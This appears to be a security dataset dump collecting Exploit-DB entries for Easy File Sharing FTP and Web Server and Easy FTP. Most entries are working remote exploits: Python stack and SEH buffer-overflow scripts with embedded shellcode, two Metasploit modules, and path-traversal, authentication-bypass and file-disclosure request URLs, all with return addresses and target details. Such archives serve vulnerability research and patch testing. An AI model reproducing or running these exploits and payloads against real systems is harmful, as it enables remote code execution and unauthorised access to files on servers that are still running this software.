deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2234
Description: Easy File Sharing FTP Server 2.0 - 'PASS' Remote
Type: remote
Platform: windows
Date: 2006-08-21
Author: h07

Exploit:
#!/usr/bin/python
#Easy File Sharing FTP Server 2.0 (PASS) 0day PoC exploit
#Proof of Concept: execute calc.exe
#Bug found by h07 <h07@interia.pl>
#Tested on XP SP2 polish
#Date: 28.07.2006
#
#BUFF([PASS + 0x20]+[0x2c]+[NOP * 2571]+[0x41414141]+[\r\n])
#EIP = 0x41414141

host = "127.0.0.1"
port = 21
len_recv = 1024
user_name = "anonymous"
NOP_LEN = 2571
EIP = 0x77AB367B #popad pop ret (CRYPT32.DLL) XP SP2 polish

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

def intel_order(i):
   a = chr(i % 256)
   i = i >> 8
   b = chr(i % 256)
   i = i >> 8
   c = chr(i % 256)
   i = i >> 8
   d = chr(i % 256)
   str = "%c%c%c%c" % (a, b, c, d)
   return str

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(len_recv)

buffer = "USER %s\r\n" % (user_name)

s.send(buffer)
print s.recv(len_recv)

buffer = "PASS "
buffer += "\x2c"
buffer += "\x90" * (NOP_LEN - len(shellcode))
buffer += shellcode
buffer += intel_order(EIP)
buffer += "\r\n"

s.send(buffer)
print s.recv(len_recv)
s.close()

#EoF

# milw0rm.com [2006-08-21]
Exploit-DB #16742
Description: Easy File Sharing FTP Server 2.0 - PASS Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: easyfilesharing_pass.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the Easy File Sharing 2.0
				service. By sending an overly long password, an attacker can execute
				arbitrary code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-3952' ],
					[ 'OSVDB', '27646' ],
					[ 'BID', '19243' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'DisclosureDate' => 'Jul 31 2006',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /Easy File Sharing FTP Server/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		filler =  rand_text_english(2559) + "\xeb\x12"
		filler << make_nops(2) + [target.ret].pack('V')

		sploit = "\x2c" + filler + payload.encoded

		print_status("Trying target #{target.name}...")

		# needs anonymous to be set.
		send_cmd(['USER', "anonymous"], true)
		send_cmd(['PASS', sploit], false)

		handler
		disconnect
	end

end
Exploit-DB #33538
Description: Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2014-05-27
Author: superkojiman

Exploit:
#!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow
# Date: 27 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ftpserver.htm
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , English
#          : Windows 7 Enterprise SP1, English
#          : Windows XP SP3, English
#
# Description: 
# A buffer overflow is triggered when when a large password is sent to the 
# server.
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original 
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a 
# SEH attack. This was a bit unreliable as different versions of Windows would 
# have different addresses and the exploit would need to be modified with the 
# correct pop/pop/retn address. 
#
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and 
# includes new features, such as SSL support. Ironically, by adding SSL 
# support, they've given us a reliable pop/pop/retn address in the included 
# SSLEAY32.DLL! This exploit should work reliably with any Windows release. 


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"               # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)    # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.130", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()
Exploit-DB #39661
Description: Easy File Sharing HTTP Server 7.2 - Remote Overflow (SEH) (Metasploit)
Type: remote
Platform: windows
Date: 2016-04-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
      'Description'    => %q{
        This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
      },
      'Author'         => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '39008' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 390,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
        ],
      'DefaultOptions' => {
          'RPORT' => 80
        },
      'DisclosureDate' => 'Dec 2 2015',
      'DefaultTarget'  => 0))
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    connect
    print_status("Sending exploit...")
    sploit = "GET "
    sploit << rand_text_alpha_upper(4061)
    sploit << generate_seh_record(target.ret)
    sploit << make_nops(19)
    sploit << payload.encoded
    sploit << make_nops(7)
    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
    sploit << " HTTP/1.0\r\n\r\n"
    sock.put(sploit)
    print_good("Exploit Sent")
    handler
    disconnect
  end
end
Exploit-DB #23222
Description: Easy File Sharing Web Server 1.2 - Information Disclosure
Type: remote
Platform: windows
Date: 2003-10-06
Author: nimber@designer.ru

Exploit:
source: https://www.securityfocus.com/bid/8777/info

Easy File Sharing Web Server has been reported prone to an information disclosure vulnerability. The issue presents itself due to insecure default permissions set on folders that contain Easy File Sharing Web Server log and configuration files. It has been reported that a remote attacker may make a HTTP request for affected log and configuration files and disclose potentially sensitive information contained therein. 

http://www.example.com/log/

Name Size Date Description Author
20030728.txt 9KB 2003-07-28 15:56:34 none none
20030730.txt 18KB 2003-07-30 16:58:58 none none
20030807.txt 12KB 2003-08-07 13:56:18 none none
20030811.txt 18KB 2003-08-11 13:34:15 none none
20030812.txt 10KB 2003-08-12 17:03:20 none none
20030815.txt 10KB 2003-08-15 16:59:58 none none
20030818.txt 31KB 2003-08-18 14:14:30 none none
20030902.txt 9KB 2003-09-02 14:41:57 none none
20030904.txt 8KB 2003-09-04 14:18:59 none none
20030905.txt 1KB 2003-09-05 09:13:28 none none
20030908.txt 4KB 2003-09-08 12:32:22 none none

http://www.example.com/option.ini
Exploit-DB #27378
Description: Easy File Sharing Web Server 3.2 - Full Path Request Arbitrary File Upload
Type: remote
Platform: windows
Date: 2006-03-09
Author: Revnic Vasile

Exploit:
source: https://www.securityfocus.com/bid/17046/info
 
Easy File Sharing Web Server is prone to multiple input-validation vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 
 
The issues include HTML-injection, denial-of-service, and arbitrary file-upload vulnerabilities.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, control how the site is rendered to the user, cause the application to crash, and facilitate a compromise of the underlying computer.

http://www.example.com/disk_c/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup
Exploit-DB #8155
Description: Easy File Sharing Web Server 4.8 - File Disclosure
Type: remote
Platform: windows
Date: 2009-03-04
Author: Stack

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Easy File Sharing Web Server File Disclouse Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Program:  Easy File Sharing Web Server
Version:  4.8
Download: http://www.sharing-file.com/efssetup.exe
Found by Mountassif Moad
www.v4-team.com

-- Bug --
Exploit :

http://127.0.0.1/disk_c/thumbnail.ghp?vfolder=../../.././/./../../boot.ini
if you have a hard disk like d or f you change disk_c by disk_d or disk_f some host dont have this
and if dont work in first test try to register and test another time
Tested on win xp SP 2 fr

# milw0rm.com [2009-03-04]
Exploit-DB #42165
Description: Easy File Sharing Web Server 7.2 - 'POST' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2017-06-12
Author: Touhid M.Shaikh

Exploit:
#!/usr/bin/python

# Title : EFS Web Server 7.2 POST HTTP Request Buffer Overflow
# Author : Touhid M.Shaikh
# Date : 12 June, 2017
# Contact: touhidshaikh22@gmail.com
# Version: 7.2
# category: Remote Exploit
# Tested on: Windows XP SP3 EN [Version 5.1.2600]


"""
######## Description ########

    What is Easy File Sharing Web Server 7.2 ?
    Easy File Sharing Web Server is a file sharing software that allows
visitors to upload/download files easily through a Web Browser. It can help
you share files with your friends and colleagues. They can download files
from your computer or upload files from theirs.They will not be required to
install this software or any other software because an internet browser is
enough. Easy File Sharing Web Server also provides a Bulletin Board System
(Forum). It allows remote users to post messages and files to the forum.
The Secure Edition adds support for SSL encryption that helps protect
businesses against site spoofing and data corruption.


######## Video PoC and Article ########

https://www.youtube.com/watch?v=Mdmd-7M8j-M
http://touhidshaikh.com/blog/poc/EFSwebservr-postbufover/

 """

import httplib


total = 4096

#Shellcode Open CMD.exe
shellcode = (
"\x8b\xec\x55\x8b\xec"
"\x68\x65\x78\x65\x2F"
"\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8"
"\xc7\x93\xc2\x77"
"\xff\xd0")


our_code = "\x90"*100 #NOP Sled
our_code += shellcode
our_code += "\x90"*(4072-100-len(shellcode))

# point Ret to Nop Sled
our_code += "\x3c\x62\x83\x01" # Overwrite RET
our_code += "\x90"*12 #Nop Sled
our_code += "A"*(total-(4072+16)) # ESP pointing



# Server address and POrt
httpServ = httplib.HTTPConnection("192.168.1.6", 80)
httpServ.connect()

httpServ.request('POST', '/sendemail.ghp',
'Email=%s&getPassword=Get+Password' % our_code)

response = httpServ.getresponse()


httpServ.close()

"""
NOTE : After Exiting to cmd.exe our server will be crash bcz of esp
Adjust esp by yourself ... hehhehhe...
"""

"""
__ __| _ \  |   | |   |_ _| __ \
   |  |   | |   | |   |  |  |   |
   |  |   | |   | ___ |  |  |   |
  _| \___/ \___/ _|  _|___|____/

Touhid M.Shaikh
"""
Exploit-DB #42159
Description: Easy File Sharing Web Server 7.2 - Authentication Bypass
Type: remote
Platform: windows
Date: 2017-06-11
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: EFS Web Server 7.2 Authentication Bypass
# Date: 11-06-2017
# Software Link: http://www.sharing-file.com/efssetup.exe
# Software Version : 7.2
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/


######## Description ########
<!--
    What is Easy File Sharing Web Server 7.2 ?
    Easy File Sharing Web Server is a file sharing software that allows
visitors to upload/download files easily through a Web Browser. It can help
you share files with your friends and colleagues. They can download files
from your computer or upload files from theirs.They will not be required to
install this software or any other software because an internet browser is
enough. Easy File Sharing Web Server also provides a Bulletin Board System
(Forum). It allows remote users to post messages and files to the forum.
The Secure Edition adds support for SSL encryption that helps protect
businesses against site spoofing and data corruption.
-->

######## Video PoC and Article ########

https://www.youtube.com/watch?v=XlTH7Fm1m1w
http://touhidshaikh.com/blog/poc/EFSwebservr-authbypass/



######## Attact Description  ########
<!--

 Note: No Need to Login...bcz this is auth bypass vulnerability .hehehe.

==>START<==
Any visitor..

We can Bypass the Login Screen by just Change the URL and Browse the
Drives.
bingoo...
-->

######## Proof of Concept ########

When we visit the EFS web server its prompt for login, now attacker just
change url to below.
Exploit....

http://192.168.1.14/disk_c/

in this case change drvie by just change /disk_c to /disk_<Drive latter>
example. /disk_d , /disk_f etc

=============================================
NOTE :: ::
Now We have Permission to View Drives and Folder and Download Files. in
Diffrent Drives or folder.
============================================

 _____ ___  _   _ _   _ ___ ____
|_   _/ _ \| | | | | | |_ _|  _ \
  | || | | | | | | |_| || || | | |
  | || |_| | |_| |  _  || || |_| |
  |_| \___/ \___/|_| |_|___|____/

Touhid Shaikh.......
Exploit-DB #39008
Description: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2015-12-16
Author: ArminCyber

Exploit:
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP request SEH Buffer Overflow
# Date: 12/2/2015
# Exploit Author: ArminCyber
# Contact: Armin.Exploit@gmail.com
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

entire=4500

# Junk
buff = "A"*4061

# Next SEH
buff+= "\xeb\x0A\x90\x90"

# pop pop ret
buff+= "\x98\x97\x01\x10"

buff+= "\x90"*19

# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
buff+= shellcode

buff+= "\x90"*7

buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)

# GET
a.send("GET " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."
Exploit-DB #39009
Description: Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2015-12-16
Author: ArminCyber

Exploit:
# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow
# Date: 12/2/2015
# Exploit Author: ArminCyber
# Contact: Armin.Exploit@gmail.com
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

entire=4500

# Junk
buff = "A"*4061

# Next SEH
buff+= "\xeb\x0A\x90\x90"

# pop pop ret
buff+= "\x98\x97\x01\x10"

buff+= "\x90"*19

# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
buff+= shellcode

buff+= "\x90"*7

buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)

# HEAD
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."
Exploit-DB #38526
Description: Easy File Sharing Web Server 7.2 - Remote Overflow (SEH)
Type: remote
Platform: windows
Date: 2015-10-23
Author: Audit0r

Exploit:
#!/usr/bin/env python
# Easy File Sharing Web Server v7.2 Remote SEH Based Overflow
# The buffer overwrites ebx with 750+ offset, when sending 4059 it overwrites the EBX
# vulnerable file /changeuser.ghp > Cookies UserID=[buf]
# Means there are two ways to exploit changeuser.ghp
# Tested on Win7 x64 and x86, it should work on win8/win10
# By Audit0r
# https://twitter.com/Audit0rSA


import sys, socket, struct
 

if len(sys.argv) <= 1:
    print "Usage: python efsws.py [host] [port]"
    exit()
 
host = sys.argv[1]    
port = int(sys.argv[2])


# https://code.google.com/p/win-exec-calc-shellcode/
shellcode = (

"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +

"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +

"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +

"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +

"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +

"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +

"\x1c\x39\xbd"

)

print "[+]Connecting to" + host


craftedreq =  "A"*4059

craftedreq += "\xeb\x06\x90\x90"     		 # basic SEH jump

craftedreq += struct.pack("<I", 0x10017743)      # pop commands from ImageLoad.dll                         

craftedreq += "\x90"*40                          # NOPer

craftedreq += shellcode                         

craftedreq += "C"*50                             # filler



httpreq = (

"GET /changeuser.ghp HTTP/1.1\r\n"

"User-Agent: Mozilla/4.0\r\n"

"Host:" + host + ":" + str(port) + "\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: en-us\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Referer: http://" + host + "/\r\n"

"Cookie: SESSIONID=6771; UserID=" + craftedreq + "; PassWD=;\r\n"

"Conection: Keep-Alive\r\n\r\n"
)


print "[+]Sending the Calc...."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.send(httpreq)

s.close()
Exploit-DB #14604
Description: Easy FTP 1.7.0.11 - 'NLST' / 'NLST -al' / 'APPE' / 'RETR' / 'SIZE' / 'XCWD' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-08-10
Author: Rabih Mohsen

Exploit:
# Exploit Title: Easy FTP Server v1.7.0.11 NLST , NLST -al, APPE, RETR , SIZE  and XCWD Commands Remote Buffer Overflow Exploit
# Date: 10/8/2010
# Author: Rabih Mohsen
# Software Link:http://code.google.com/p/easyftpsvr/downloads/detail?name=easyftp-server-1.7.0.11-cn.zip
# Version: 1.7.0.11
# Tested on: Windows XP SP3 
# CVE:

import socket
import sys

buffersize = 272

# Buffer needed -> 272 bytes
# Metasploit Shellcode PoC - Calc.exe [ 228 bytes ] [ shikata_ga_nai - 1 iteration ] [ badchars \x00\x0a\x2f\x5c ]
 
shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbb\xe6\x9a\xc9\x6d\x5a\x33\xc9\xb1"
"\x33\x31\x5a\x18\x83\xea\xfc\x03\x5a\xf2\x78\x3c\x91\x12\xf5"
"\xbf\x6a\xe2\x66\x49\x8f\xd3\xb4\x2d\xdb\x41\x09\x25\x89\x69"
"\xe2\x6b\x3a\xfa\x86\xa3\x4d\x4b\x2c\x92\x60\x4c\x80\x1a\x2e"
"\x8e\x82\xe6\x2d\xc2\x64\xd6\xfd\x17\x64\x1f\xe3\xd7\x34\xc8"
"\x6f\x45\xa9\x7d\x2d\x55\xc8\x51\x39\xe5\xb2\xd4\xfe\x91\x08"
"\xd6\x2e\x09\x06\x90\xd6\x22\x40\x01\xe6\xe7\x92\x7d\xa1\x8c"
"\x61\xf5\x30\x44\xb8\xf6\x02\xa8\x17\xc9\xaa\x25\x69\x0d\x0c"
"\xd5\x1c\x65\x6e\x68\x27\xbe\x0c\xb6\xa2\x23\xb6\x3d\x14\x80"
"\x46\x92\xc3\x43\x44\x5f\x87\x0c\x49\x5e\x44\x27\x75\xeb\x6b"
"\xe8\xff\xaf\x4f\x2c\x5b\x74\xf1\x75\x01\xdb\x0e\x65\xed\x84"
"\xaa\xed\x1c\xd1\xcd\xaf\x4a\x24\x5f\xca\x32\x26\x5f\xd5\x14"
"\x4e\x6e\x5e\xfb\x09\x6f\xb5\xbf\xe5\x25\x94\x96\x6d\xe0\x4c"
"\xab\xf0\x13\xbb\xe8\x0c\x90\x4e\x91\xeb\x88\x3a\x94\xb0\x0e"
"\xd6\xe4\xa9\xfa\xd8\x5b\xca\x2e\xbb\x3a\x58\xb2\x12\xd8\xd8"
"\x51\x6b\x28")

eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll
nopsled = "\x90" * 16

payload = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))

# target, CMDS: anny of the "NLST , NLST -al, APPE, RETR , SIZE  and XCWD"
def GenericEasyFTPExploit(target, CMDS):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect = s.connect((target, 21))
	s.recv(1024)
	s.send('User anonymous\r\n')
	s.recv(1024)
	s.send('PASS anonymous\r\n')
	s.send(CMDS +" " + nopsled+shellcode+payload+eip+'\r\n')
	s.recv(1024)
	s.send('QUIT EASY ftp\r\n')
	s.close()

target = sys.argv[1]
CMDS  =  sys.argv[2]

GenericEasyFTPExploit(target,CMDS)